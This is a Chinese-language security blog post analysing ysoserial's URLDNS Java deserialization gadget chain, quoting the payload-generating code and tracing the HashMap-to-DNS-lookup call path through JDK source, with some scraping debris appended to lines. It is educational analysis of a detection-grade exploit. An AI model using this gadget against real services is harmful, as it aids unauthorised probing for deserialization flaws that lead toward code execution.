YsoSerial 工具經常使用Payload分析之URLDNS

ysoserial

本文假設你對Java基本數據結構、Java反序列化、高級特性(反射、動態代理)等有必定的瞭解。java

背景

YsoSerial是一款反序列化利用的便捷工具,能夠很方便的生成基於多種環境的反序列化EXP。java -jar ysoserial.jar 能夠直接查看payload適用環境及其適用版本。git

image-20210721172218101

關於此工具的背景,我引用P神的《Java安全漫遊》文章對其的描述:github

2015年Gabriel Lawrence (@gebl)和Chris Frohoffff (@frohoffff)在AppSecCali上提出了利⽤Apache Commons Collections來構造命令執⾏的利⽤鏈,並在年末由於對Weblogic、JBoss、Jenkins等著名應⽤的利⽤,⼀⽯激起千層浪,完全打開了⼀⽚Java安全的藍海。⽽ysoserial就是兩位原做者在此議題中釋出的⼀個⼯具,它可讓⽤戶根據⾃⼰選擇的利⽤鏈,⽣成反序列化利⽤數據,經過將這些數據發送給⽬標,從⽽執⾏⽤戶預先定義的命令。安全

下載工具源碼發現主要payload生成邏輯都在ysoserial.payloads包下面:數據結構

image-20210721173341240

接下來主要針對 URLDNS、 CommonCollections1-七、CommonsBeanutils 利用鏈進行分析:app

URLDNS

URLDNS 是要介紹的幾條鏈中調用邏輯最簡單的一條,因此以這條鏈開始。咱們來看看yso是怎麼寫的工具

public Object getObject(final String url) throws Exception {
                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
}

getObject方法就是獲取最後的利用類,return的是一個以精心構造的URL對象爲key,url字符串爲值的hashMap,調試一下看下調用鏈。this

image-20210721192804204

HashMap.readOject -> HashMap.hash() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress()(獲取url的dns地址)url

  1. HashMap.readOject()

readObject中有讀取key,而後對key進行hash操做,從yso代碼得知,hashmap的key爲精心構造的URL對象.net

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
 
....
....
            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }
  1. HashMap.hash()

跟進hash,裏面調用了URL對象的hashCode()方法。

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }
  1. URL.hashCode()

URL對象的存在默認的私有hashCode變量其值爲-1,因此會調用yso代碼中URL對象構造方法的第三個參數,URLStreamHandler的hashcode。

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
  }
private int hashCode = -1;
  1. URLStreamHandler.hashCode()

而後調用URLStreamHandler的getHostAddress()方法

protected int hashCode(URL u) {

   
...
        // Generate the host part.
        InetAddress addr = getHostAddress(u);
 ...

        return h;
    }
  1. URL.getHost()

getHost 就會發起對應url的請求,後續就不用再跟了。

rotected synchronized InetAddress getHostAddress(URL u) {
...
        String host = u.getHost();
...
        return u.hostAddress;
    }

以上就是URLDNS的調用邏輯,可是在yso中仍是有兩個點值得咱們注意:

  1. Reflections.setFieldValue(u, "hashCode", -1); 這一行代碼是幹嗎的,是多餘的嗎?
  2. 爲何SilentURLStreamHandler 會實現兩個空方法?

首先第一個問題,這一行代碼是幹嗎的,爲何要將URL對象中的hashcode經過反射的方式設置爲-1呢,URL對象中的hash code自己就是-1,爲何要這麼作?

image-20210721200359928

​ 其實經過代碼中的註釋咱們也能知道,在hashMap進行put操做時,會調用hash()方法,進而完成了一次相似反序列化的調用,handler調用hashcode()方法時也會將默認的hashCode值進行從新計算,因此put()完,自己的hashCode已經不爲-1了,因此反序列就不會在繼續執行handler.hashCode(this),也就沒發觸發DNS請求。

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
  }

第二個問題,其實和第一個問題同樣,在put時也會進行一次hash()調用從而進行一次dns請求,爲了不在生成payload對象時候發起dns請求,因此繼承了URLStreamHandler,實現getHostAddress、openConnection兩個方法進行空操做,進而在生產payload對象時就不會發器dns請求了。

剛開始看到這裏的時候我比較疑惑,重寫了這兩個方法到時候在使用這個payload去利用的時候不就沒發正常發起DNS請求了嗎,那這樣作意義何在?原來我忽略了一個東西,在URL類中,URLStreamHandler被transient關鍵字標記,transient標記的屬性在序列化時不會帶入序列化的數據裏面,這樣在生成payload或者調試的時候不會發起DNS請求,但又不影響payload的正常使用,很是巧妙。

image-20210721202146438

總結

URLDNS是一個不須要依賴其餘包的反序列化利用,且調用過程比較簡單,只會在HashMap與StreamHandler之間調用,稍微須要注意的也就是亮點,一個爲何要將hashcode最後經過反射的方式置爲-1,另外一個是爲何重寫過StreamHandler兩個方法爲空操做後仍然能在凡序化後正常發起dns請求。

雖然URLDNS這條鏈很簡單,但其實它作不了什麼,僅僅只能幫助咱們判斷這個地方可能存在用戶可控的凡序列化問題,仍然不能進行進一步的利用,那要怎麼才能利用乃至RCE呢? 下一專題Common-collections1 就來幫助咱們解決這個問題。

相關文章
相關標籤/搜索